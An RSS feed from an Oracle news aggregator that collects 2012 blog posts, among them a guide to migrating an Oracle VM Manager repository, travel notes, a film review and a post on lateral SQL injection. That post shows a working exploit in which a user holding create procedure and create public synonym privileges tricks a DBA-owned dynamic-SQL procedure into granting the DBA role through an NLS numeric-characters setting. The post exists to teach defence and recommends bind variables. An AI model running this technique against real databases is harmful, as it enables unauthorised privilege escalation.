<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="http://www.ora600.be" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>Oracle ORA600 News Aggregator</title>
 <link>http://www.ora600.be/oracle-news-rss</link>
 <description>Rss on news feed</description>
 <language>en</language>
<item>
 <title>Changing database repositories in Oracle VM 3</title>
 <link>http://www.ora600.be/news/changing-database-repositories-oracle-vm-3</link>
 <description>At home I have a small atom-based server that was running Oracle VM Manager 3, installed using simple installation. Simple installation is the option where you just enter a password and the Oracle VM Manager installer installs : Oracle XE database, WebLogic Server and the Oracle VM Manager container. The same password is used for the database user, Oracle VM Manager database schema user, weblogic user and admin user for the manager instance.&lt;p&gt;
The manager instance stores its data as objects inside the database. To do that, there is something called a &lt;b&gt;datasource&lt;/b&gt; defined in weblogic during installation. It&#039;s basically a jdbc connection from weblogic to the database. This DS requires the following information : database hostname, database instance name, database listener port number, schema username and schema password. In my default install this was localhost, XE, 1521, ovs, mypassword.&lt;p&gt;
Now that I re-organized my machines a bit, I have a larger server that runs a normal database 11.2.0.3, which I also happen to use for EM12c. So I figured I would take some load off the little atom server, keep it running Oracle VM Manager but shut down XE and move the schema over to my dedicated database host. This is a straightforward process so I just wanted to list the steps.&lt;p&gt;

1) shut down Oracle VM Manager so that it does not continue updating the repository.
as root : &lt;b&gt;/etc/init.d/ovmm stop&lt;/b&gt;

2) export the schema user using the exp command for Oracle XE
as oracle : 
&lt;b&gt;cd /u01/app/oracle/product/11.2.0/xe
export ORACLE_HOME=`pwd`
export ORACLE_SID=XE
export PATH=$ORACLE_HOME/bin:$PATH
exp&lt;/b&gt;
(enter user ovs and its password)
export user (option 2)
export everything including data
this will create (by default) a file called expdat.dmp
copy this file over to the other server with the other database
The schema name is also in /u01/app/oracle/ovm-manager-3/.config (OVSSCHEMA)

3) shutdown oracle-xe as it&#039;s no longer needed  
as root : &lt;b&gt;/etc/init.d/oracle-xe stop&lt;/b&gt;

4) import the ovs user into the new database. I like to do it as the user. 
I just simply pre-create the schema before starting import
as oracle : 
&lt;b&gt;sqlplus &#039;/ as sysdba&#039;
create user ovs identified by MyPassword;
grant connect,resource to ovs;&lt;/b&gt;
at this point, run the imp utility on the box to import the expdat.dmp
import asks for username/password, enter ovs and its password
import yes on all data and tables and content.

At this point you have a good complete repository. 
Now let&#039;s make the Oracle VM Manager weblogic instance point to the new database.

5) on the original system, restart weblogic
as root :&lt;b&gt;/etc/init.d/ovmm start&lt;/b&gt;
wait a few minutes for the instance to come online

6) use the ovm_admin tool
as oracle : 
&lt;b&gt;cd /u01/app/oracle/ovm-manager-3/bin
./ovm_admin --modifyds orcl wopr8 1521 ovs mypassword&lt;/b&gt;
My new host name for the 11.2.0.3 database is called wopr, 
the database instance is orcl and listener is still 1521 with schema ovs
The admin tool asks for a password, this is the weblogic user password. 
In a simple install, this would be the same as your admin or ovs account password.

7) restart to have everything take effect.
as root : 
&lt;b&gt;/etc/init.d/ovmm stop  ; sleep 5 ;/etc/init.d/ovmm start ;&lt;b&gt;

8) edit the config file and update the new data 
&lt;b&gt;vi /u01/app/oracle/ovm-manager-3/.config &lt;/b&gt;
modify :
DBHOST=
SID=
LSNR=
OVSSCHEMA=
and leave the rest as is. 

that should do it !

</description>
 <pubDate>Sat, 04 Feb 2012 20:36:48 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18216 at http://www.ora600.be</guid>
</item>
<item>
 <title>On Innovation</title>
 <link>http://www.ora600.be/news/innovation</link>
 <description>Last time I shared two videos I liked very much for personal development. This time I want to share one video, one presentation and one blog on Innovation. 1. Blog: &amp;#8220;21 Great Innovation Methods&amp;#8221; &amp;#8211; http://www.innovationexcellence.com/blog/2009/11/26/21-great-innovation-methods/ 2. Video: &amp;#8220;Oracle Innovation Happens&amp;#8221; &amp;#8211; http://vimeo.com/32437552 (Especially the message within first 1 minute 40 seconds can be applied [...]&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=tonguc.wordpress.com&amp;amp;blog=635738&amp;amp;post=889&amp;amp;subd=tonguc&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Sat, 04 Feb 2012 11:57:36 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18215 at http://www.ora600.be</guid>
</item>
<item>
 <title>Oracle Query Optimizer Vanishing Acts</title>
 <link>http://www.ora600.be/news/oracle-query-optimizer-vanishing-acts</link>
 <description>February 3, 2012 A couple of days ago I noticed an interesting thread on the comp.databases.oracle.server Usenet group that described a problem of vanishing tables.  The title of the thread certainly caught my attention, and I was a bit disappointed that the there was little to no magic involved in the vanishing act.  The situation reported in [...]&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=hoopercharles.wordpress.com&amp;amp;blog=10738606&amp;amp;post=5999&amp;amp;subd=hoopercharles&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Sat, 04 Feb 2012 04:51:46 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18214 at http://www.ora600.be</guid>
</item>
<item>
 <title>Nuremberg Sausage???</title>
 <link>http://www.ora600.be/news/nuremberg-sausage</link>
 <description>&lt;p&gt;I&#039;ll try almost all food wherever I am in the world (except for Scorpios-on-a-Stick, Sheep Penis and such stuff). But I didn&#039;t try this in our hotel in Rio:&lt;/p&gt; 
  &lt;p&gt; &lt;img src=&quot;http://blogs.oracle.com/UPGRADE/resource/images/2012_02_02_rio.jpg&quot; /&gt;&lt;/p&gt; 
  &lt;p&gt;No offense - but &lt;a target=&quot;_blank&quot; href=&quot;http://en.wikipedia.org/wiki/N%C3%BCrnberg&quot;&gt;Nuremberg&lt;/a&gt; (or in German: &lt;a target=&quot;_blank&quot; href=&quot;http://en.wikipedia.org/wiki/N%C3%BCrnberg&quot;&gt;Nürnberg&lt;/a&gt;) is my hometown - and &lt;a target=&quot;_blank&quot; href=&quot;http://en.wikipedia.org/wiki/Bratwurst#N.C3.BCrnberger_Rostbratwurst&quot;&gt;Nürnberger Bratwürste&lt;/a&gt; look a little bit different. If you&#039;d ever visit Germany and you&#039;ll have to chance to see Nürnberg you might order &amp;quot;Drei im Weggla&amp;quot; (three [sausages] in a bread bun) and every Franconian will understand you &lt;img src=&quot;http://blogs.oracle.com/images/smileys/wink.gif&quot; class=&quot;smiley&quot; alt=&quot;;-)&quot; title=&quot;;-)&quot; /&gt;&lt;/p&gt; 
  &lt;p&gt;&lt;img src=&quot;http://blogs.oracle.com/UPGRADE/resource/images/609px-Drei_im_Weggla.jpg&quot; /&gt;&lt;br /&gt;&lt;/p&gt; 
  &lt;p&gt;But still Roy and me had some fun at the breakfast buffett &lt;img src=&quot;http://blogs.oracle.com/images/smileys/wink.gif&quot; class=&quot;smiley&quot; alt=&quot;;-)&quot; title=&quot;;-)&quot; /&gt;&lt;br /&gt;&lt;/p&gt;</description>
 <pubDate>Sat, 04 Feb 2012 00:48:08 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18212 at http://www.ora600.be</guid>
</item>
<item>
 <title>Obregado :-)</title>
 <link>http://www.ora600.be/news/obregado</link>
 <description>&lt;p&gt; &lt;img src=&quot;http://blogs.oracle.com/UPGRADE/resource/images/2012_02_01_rio.jpg&quot; /&gt;&lt;/p&gt; 
  &lt;p&gt;Thanks a lot to everybody who did visit our workshops in Sao Paulo and Rio de Janeiro in the past days. And actually our &amp;quot;Thank You&amp;quot; or Obregado! can&#039;t express how Roy and me felt in the past days. I believe I&#039;ve never felt so welcome - you all, customers, partners and Oracle folks were simply great. Thanks a lot for that. We&#039;ve had a great time - and we hope you had some fun as well and enjoyed the hands-on lab as well.&lt;/p&gt; 
  &lt;p&gt; Let us know if anything with your upgrades does not run as desired - or if all worked out well. And also if you&#039;d like to try the &amp;quot;Turbo xTTS&amp;quot; technique. The note got published last night and I&#039;ll write something about it in the upcoming weeks.&lt;/p&gt; 
  &lt;p&gt;So we hope to see you again - maybe in 2014 during the World Cup &lt;img src=&quot;http://blogs.oracle.com/images/smileys/wink.gif&quot; class=&quot;smiley&quot; alt=&quot;;-)&quot; title=&quot;;-)&quot; /&gt; I&#039;ll push Murilo to setup another series of workshops by then &lt;img src=&quot;http://blogs.oracle.com/images/smileys/wink.gif&quot; class=&quot;smiley&quot; alt=&quot;;-)&quot; title=&quot;;-)&quot; /&gt;&lt;/p&gt;
  &lt;p&gt;And thanks a lot for all your comments and feedbacks - we really appreciate that!! &lt;br /&gt;&lt;/p&gt; 
  &lt;p&gt;Obregado!!!&lt;br /&gt;&lt;/p&gt; 
  &lt;p&gt;&lt;img src=&quot;http://blogs.oracle.com/UPGRADE/resource/images/2012_01_31_rio.jpg&quot; /&gt; &lt;/p&gt;</description>
 <pubDate>Sat, 04 Feb 2012 00:34:07 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18213 at http://www.ora600.be</guid>
</item>
<item>
 <title>Hotsos Symposium 2012 Speaker Spotlight - Doug Gault</title>
 <link>http://www.ora600.be/news/hotsos-symposium-2012-speaker-spotlight-doug-gault</link>
 <description>&lt;a href=&quot;http://3.bp.blogspot.com/-QAww2q5VHqQ/TywupWsH5kI/AAAAAAAABrg/2W46iaN5jck/s1600/Doug_Gault.gif&quot;&gt;&lt;img src=&quot;http://3.bp.blogspot.com/-QAww2q5VHqQ/TywupWsH5kI/AAAAAAAABrg/2W46iaN5jck/s320/Doug_Gault.gif&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5704986115971737154&quot; /&gt;&lt;/a&gt;&lt;p&gt;Doug Gault is returning to &lt;a href=&quot;http://www.hotsos.com/sym12.html&quot;&gt;Hotsos Symposium 2012&lt;/a&gt;.  Doug is an entertaining speaker who focuses on Oracle&#039;s Application Express.  Doug Gault is a Director &amp;amp; Co-Founder at Sumneva, a world-class Oracle Application Express (APEX) consulting, training &amp;amp; solutions firm founded in 2010. He has been working with Oracle since 1988, starting with version 5.1B, SQL*Forms 2.0 and RPT/RPF. Since then he has focused his career on Oracle&#039;s development technologies, spending the last decade on web based technologies, and the last 5 years specifically on APEX.  Prior to co-founding Sumneva, Gault was Vice President of Sumner Technologies, which also focused on Oracle APEX consulting, training &amp;amp; solutions. Before that he served as the Product Development Director for Hotsos Enterprises, during which time he was the lead architect/developer and product manager for two commercial products written in exclusively in APEX. His 21 years of Oracle experience has taken him all over the world and involved him in some truly ground-breaking projects.  Gault has presented and participated in round table discussions at a number of conferences including Oracle OpenWorld, UKOUG and ODTUG&#039;s APEXposed. He holds an Associates Degree in Computer Science, and an honorary Master&#039;s Degree from The School of Hard Knocks, believing there is no replacement for hard earned experience.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Topic:&lt;/b&gt;  &lt;em&gt;Capturing Performance Data for Interesting APEX Processes&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Description:&lt;/b&gt; One of the features of Oracle Application Express 4 is the much improved debug information now stored in the dictionary views. This data can be used to track, monitor, and identify performance trends across your APEX application. The trick is capturing instances of this information for interesting APEX processes programmatically. This session will introduce the idea of using APEX Debug data for performance trending, the techniques and information necessary for you to mine the Oracle Application Express 4 debug data, and methods for programmatically capturing runs deemed as &quot;interesting&quot;.&lt;/p&gt;&lt;p&gt;If you&#039;re into ApEx, you won&#039;t want to miss Doug&#039;s presentation.  &lt;a href=&quot;http://www.hotsos.com/sym12/sym_reg.html&quot;&gt;Sign up&lt;/a&gt; today before the price goes up on Feb 11, 2012.&lt;/p&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/3042653634058484696-634792818683609613?l=hotsoseducation.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 19:53:00 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18209 at http://www.ora600.be</guid>
</item>
<item>
 <title>Captain Support: Not to the rescue…</title>
 <link>http://www.ora600.be/news/captain-support-not-rescue%E2%80%A6</link>
 <description>&lt;p&gt;This morning, the display on one of my computers was a bit odd. I rebooted the machine and when it came up I got no output on the monitor. I plugged my laptop into the monitor and that worked fine, so it looked like the graphics card had died. I popped down to a local PC store and had the choice of remortgaging my house for new graphics card, or buying a cheap and cheerful one. I did the latter. Even so, the new card was much flasher than the old one.&lt;/p&gt;
&lt;p&gt;I put the card in the machine and it booted up and I had a display again. Trouble was, GNOME shell had failed to start and I was knocked back into fallback mode, that looks a bit like GNOME2. Sigh. Forgot to check the the card against support for the ever-so-picky GNOME shell.&lt;/p&gt;
&lt;p&gt;I now have a choice to make:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ditch it and get a new graphics card&amp;#8230; again&amp;#8230;&lt;/li&gt;
&lt;li&gt;Switch to KDE or XFCE&amp;#8230; shudder&amp;#8230;&lt;/li&gt;
&lt;li&gt;Stay with the fallback option until Fedora 17, when allegedly GNOME shell will not be so bloody fussy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;#8217;m probably going to stick with the last option as I can&amp;#8217;t be bothered to waste any more time on this. All of a sudden, Windows and Mac OS X don&amp;#8217;t seem so bad after all&amp;#8230;&lt;/p&gt;
&lt;p&gt;Cheers&lt;/p&gt;
&lt;p&gt;Tim&amp;#8230;&lt;/p&gt;
&lt;p&gt;PS. I don&amp;#8217;t need a lecture on why GNOME shell is so picky. I know all the arguments. I&amp;#8217;ve read all the crap. Doesn&amp;#8217;t mean it&amp;#8217;s not a pain in the ass when you buy a newer and more powerful graphics card and you end up with an inferior user experience.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/TheOracleBaseBlog/~4/Bgtok_iuPog&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 18:24:29 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18207 at http://www.ora600.be</guid>
</item>
<item>
 <title>Chronicle…</title>
 <link>http://www.ora600.be/news/chronicle%E2%80%A6</link>
 <description>&lt;p&gt;I thought &lt;a href=&quot;http://www.imdb.com/title/tt1706593/&quot;&gt;Chronicle&lt;/a&gt; was a cool film. Three kids find some weird object and develop super powers. How will it affect them and how will they choose to use them?&lt;/p&gt;
&lt;p&gt;It has the &amp;#8220;shot on my camcorder&amp;#8221; feel, like &lt;a href=&quot;http://www.imdb.com/title/tt1060277/&quot;&gt;Cloverfield&lt;/a&gt;, and has a kind of &lt;a href=&quot;http://www.imdb.com/title/tt0094625/&quot;&gt;Akira&lt;/a&gt; feel to me. While I was watching it I kept expecting someone to say, &amp;#8220;With great power comes great responsibility!&amp;#8221; &lt;img src=&quot;http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;p&gt;The effects are pretty cool. At the start they look like they are going to be a bit low budget, but by the end they get pretty impressive.&lt;/p&gt;
&lt;p&gt;Nice mix of teen angst, super powers and destruction. Obviously not targeted for 42 year old men, but it hit the mark for me. I guess that says a lot. &lt;img src=&quot;http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;p&gt;Cheers&lt;/p&gt;
&lt;p&gt;Tim&amp;#8230;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/TheOracleBaseBlog/~4/wWcUNtcgjFU&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 17:16:02 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18208 at http://www.ora600.be</guid>
</item>
<item>
 <title>All about Security - SQL Injection redux</title>
 <link>http://www.ora600.be/news/all-about-security-sql-injection-redux</link>
 <description>I just&lt;a href=&quot;http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection.html&quot;&gt; wrote about SQL Injection&lt;/a&gt; yesterday - after&lt;a href=&quot;http://event.on24.com/r.htm?e=390461&amp;amp;s=1&amp;amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;amp;partnerref=blog1_sec_dbsecmulti&quot;&gt; having giving a web seminar on Wednesday&lt;/a&gt; the touched on the topic.&lt;br /&gt;&lt;br /&gt;One of the comments on that post was by David Litchfield, he wrote:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;Hey Tom,Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: &lt;a href=&quot;http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers&quot;&gt;http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers&lt;/a&gt; and the first paper here: &lt;a href=&quot;http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf&quot;&gt;http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well. &amp;nbsp;It is just a variation on a theme after all). &amp;nbsp;In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers. &amp;nbsp;That is something I hadn&#039;t considered before. &amp;nbsp;NLS settings for numbers are different than for dates. &amp;nbsp;With a date, I can set the format string to have any string of characters I want. &amp;nbsp;With numbers - you are very much restricted. On the face of it - it doesn&#039;t look like you can exploit a SQL Injection flaw with numbers like you can with dates.&lt;br /&gt;&lt;br /&gt;But - you can. &amp;nbsp;Just not as flexibly. &amp;nbsp;But the end result can be as&amp;nbsp;disastrous. &lt;br /&gt;&lt;br /&gt;One of the follow on comments to this posting by David was:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;the problem David mentions in&amp;nbsp;&lt;a href=&quot;http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers&quot;&gt;http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers&lt;/a&gt;&amp;nbsp;only arises since NUM_PROC is owned by SYS,as far as I can see, correct ?&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;So, it&#039;s not really a problem since nobody ever does something as SYS, correct.&lt;/blockquote&gt;&lt;br /&gt;In his example, David used SYS to demonstrate with - which could lead people to believe &quot;ah, it needs SYS to exploit this flaw&quot;. &amp;nbsp;But - it doesn&#039;t. &amp;nbsp;All it requires is an account with these privileges:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Create session&lt;/li&gt;&lt;li&gt;Create procedure&lt;/li&gt;&lt;li&gt;Create public synonym &amp;lt;&amp;lt;&amp;lt;=== these guys are evil! &amp;nbsp;Should be avoided&lt;/li&gt;&lt;/ul&gt;And another schema that has the ability to GRANT stuff - like DBA. &amp;nbsp;It doesn&#039;t have to be DBA, it could be any privilege they have the ability to grant.&lt;br /&gt;Here is how to exploit the flaw. &amp;nbsp;First - read David&#039;s paper to get the background on the &#039;P &#039; NLS_NUMERIC_CHARACTERS. &amp;nbsp;Then you&#039;ll understand how:&lt;br /&gt;a%ORA11GR2&amp;gt; select .1 from dual;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .1----------&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; P1&lt;br /&gt;works. &amp;nbsp;Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this. &amp;nbsp;I&#039;ll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; create or replace procedure do_something( l_num in number )&amp;nbsp; 2 &amp;nbsp;as&amp;nbsp; 3 &amp;nbsp; &amp;nbsp; &amp;nbsp;l_query &amp;nbsp;long;&amp;nbsp; 4 &amp;nbsp; &amp;nbsp; &amp;nbsp;l_cursor sys_refcursor;&amp;nbsp; 5 &amp;nbsp; &amp;nbsp; &amp;nbsp;l_rec &amp;nbsp; &amp;nbsp;all_users%rowtype;&amp;nbsp; 6 &amp;nbsp;begin&amp;nbsp; 7 &amp;nbsp; &amp;nbsp; &amp;nbsp;l_query := &#039;&amp;nbsp; 8 &amp;nbsp; &amp;nbsp; &amp;nbsp; select *&amp;nbsp; 9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; from all_users&amp;nbsp;10 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;where user_id = &#039; || l_num;&amp;nbsp;11 &amp;nbsp; &amp;nbsp; &amp;nbsp;dbms_output.put_line( l_query );&amp;nbsp;12 &amp;nbsp;&amp;nbsp;13 &amp;nbsp; &amp;nbsp; &amp;nbsp;open l_cursor for l_query;&amp;nbsp;14 &amp;nbsp;&amp;nbsp;15 &amp;nbsp; &amp;nbsp; &amp;nbsp;loop&amp;nbsp;16 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;fetch l_cursor into l_rec;&amp;nbsp;17 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;exit when l_cursor%notfound;&amp;nbsp;18 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;dbms_output.put_line( &#039;username = &#039; ||&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;l_rec.username );&amp;nbsp;19 &amp;nbsp; &amp;nbsp; &amp;nbsp;end loop;&amp;nbsp;20 &amp;nbsp; &amp;nbsp; &amp;nbsp;close l_cursor;&amp;nbsp;21 &amp;nbsp;end;&amp;nbsp;22 &amp;nbsp;/Procedure created.&lt;br /&gt;Then, we&#039;ll have our account with the small set of privileges:&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; create user a identified by a;User created.&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; grant create session, create procedure,&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; create public synonym to a;Grant succeeded.&lt;br /&gt;&lt;br /&gt;and we&#039;ll allow it to access this procedure - just like in my original SQL Injection article:&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; grant execute on do_something to a;Grant succeeded.&lt;br /&gt;Ok, so now we&#039;ll log in as A and run the procedure to see what it does:&lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; connect a/aConnected.a%ORA11GR2&amp;gt;&amp;nbsp;a%ORA11GR2&amp;gt; exec ops$tkyte.do_something( 5 );&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;select *&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from all_users&amp;nbsp; &amp;nbsp; &amp;nbsp; where user_id = 5username = SYSTEM&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;Now, we suspect it might use string concatenation - so we&#039;ll create a function that might be able to exploit this:&lt;br /&gt;a%ORA11GR2&amp;gt; create or replace function foobar return number&amp;nbsp; 2 &amp;nbsp;authid current_user&amp;nbsp; 3 &amp;nbsp;as&amp;nbsp; 4 &amp;nbsp; &amp;nbsp; &amp;nbsp;pragma autonomous_transaction;&amp;nbsp; 5 &amp;nbsp;begin&amp;nbsp; 6 &amp;nbsp; &amp;nbsp; &amp;nbsp;execute immediate &#039;grant dba to a&#039;;&amp;nbsp; 7 &amp;nbsp; &amp;nbsp; &amp;nbsp;return 5;&amp;nbsp; 8 &amp;nbsp;end;&amp;nbsp; 9 &amp;nbsp;/Function created.&lt;br /&gt;And then set up our public synonym for it and allow others to execute it:&lt;br /&gt;a%ORA11GR2&amp;gt; create public synonym p1 for foobar;Synonym created.&lt;br /&gt;a%ORA11GR2&amp;gt; grant execute on foobar to public;Grant succeeded.&lt;br /&gt;&lt;br /&gt;and now for the magic:&lt;br /&gt;a%ORA11GR2&amp;gt; alter session set nls_numeric_characters = &#039;P &#039;;Session altered.&lt;br /&gt;and viola:&lt;br /&gt;a%ORA11GR2&amp;gt; set role dba;set role dba*ERROR at line 1:ORA-01924: role &#039;DBA&#039; not granted or does not exist&lt;br /&gt;&lt;br /&gt;a%ORA11GR2&amp;gt; exec ops$tkyte.do_something( .1 );&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;select *&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from all_users&amp;nbsp; &amp;nbsp; &amp;nbsp; where user_id = P1username = SYSTEM&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;a%ORA11GR2&amp;gt; set role dba;&lt;br /&gt;Role set.&lt;br /&gt;&lt;br /&gt;I have DBA...&lt;br /&gt;SQL Injection is insidious. &amp;nbsp;SQL Injection is hard to detect. &amp;nbsp;SQL Injection can be avoided - &lt;i&gt;by simply using bind variables.&lt;/i&gt;&amp;nbsp; In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited. &amp;nbsp;The problem with that however is that before yesterday - I would have looked at this code and might have said &quot;this looks ok&quot;. &amp;nbsp;&lt;br /&gt;It is really hard to protect yourself from something you cannot see.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;u&gt;Updated a little later:&lt;/u&gt;&amp;nbsp;Let me also say this:&lt;br /&gt;&lt;br /&gt;If you use static sql in plsql - your code in plsql cannot be sql injected, period. &amp;nbsp;It is not possible. &amp;nbsp;The only way to get sql injected in plsql is to use dynamic sql - that is the only time. &amp;nbsp;So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:&lt;br /&gt;&lt;br /&gt;a) write your SQL code in PL/SQL&lt;br /&gt;b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database&lt;br /&gt;&lt;br /&gt;If you do that - no SQL Injection attacks are possible. &amp;nbsp;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/11839365-3428729923719611696?l=tkyte.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 14:02:40 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18206 at http://www.ora600.be</guid>
</item>
<item>
 <title>E-Business Suite and APEX integration using Views</title>
 <link>http://www.ora600.be/news/e-business-suite-and-apex-integration-using-views</link>
